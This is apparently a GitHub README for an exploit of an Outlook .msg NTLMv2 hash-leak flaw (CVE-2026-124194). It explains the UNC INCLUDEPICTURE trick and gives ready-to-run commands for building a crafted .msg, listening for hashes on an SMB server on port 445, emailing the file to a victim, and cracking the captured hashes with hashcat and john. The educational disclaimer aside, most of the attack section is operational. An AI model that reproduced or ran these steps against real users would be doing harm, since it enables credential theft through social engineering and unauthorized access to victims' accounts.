PoC and exploit for CVE-2026-124194: generates crafted Outlook .msg files with UNC INCLUDEPICTURE references and runs an SMB listener to capture NTLMv2 hashes for offline cracking.
LEGAL DISCLAIMER: This repository was created exclusively for educational and security research purposes. Using these tools against systems without prior express written authorization is illegal. The author is not responsible for any misuse of this material.
| Field | Detail |
|---|---|
| CVE | CVE-2026-124194 |
| Nickname | Outlook-NTLMHash |
| Type | NTLMv2 hash leak (CWE-356) |
| CVSS | 6.5 Medium (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N) |
| Component | Microsoft Outlook - .msg file processing |
| Vectors | Victim opens a crafted .msg file with a UNC reference |
| Authentication | Not required (social engineering required) |
| Affects | MS 365 Apps for Enterprise, Office LTSC 2021/2024 |
| Fixed | Microsoft patch November 2026 |
| Disclosed | November 2026 (Exploitation Detected) |
When opening a crafted .msg file containing an RTF field with
INCLUDEPICTURE pointing to a UNC path (\\server\share\img),
Outlook automatically connects to the attacker's SMB server to load
the resource, without displaying the standard external content warning.
The Windows system performs NTLM authentication implicitly when attempting to access the SMB share, sending the user's NTLMv2 hash in challenge-response text. The attacker captures this hash and can attempt to crack it offline with tools such as hashcat or john.
Important: the Preview Pane is NOT an attack vector in this vulnerability. The victim must open the file.
Attacker Victim
| |
|-- Sends poc.msg via email->|
| |
| [Opens the .msg in Outlook]
| |
| [Outlook loads RTF with INCLUDEPICTURE \\attacker\...]
| |
|<-- SMB Negotiate ----------|
|-- Challenge --------------->
|<-- Authenticate (NTLMv2) --+
| |
| [Captures NTLMv2 hash] |
# Generate poc.msg and start SMB server for capture
python poc.py --gen-msg --server 192.168.1.5
python poc.py --listen --port 445 --output hashes.txt
# Generates .msg and starts server automatically
# Requires privileges for port 445 (sudo/admin)
python exploit.py --server 192.168.1.5 --auto --hashcat --output hashes.txt
# Send poc_exploit.msg to victim via email
# When they open it the hash will be captured in hashes.txt
# hashcat (NetNTLMv2 mode)
hashcat -m 5600 hashes.txt wordlist.txt
# john
john --wordlist=wordlist.txt hashes.txt
By Gh0st-Bx1 | https://github.com/Ghost-Bx1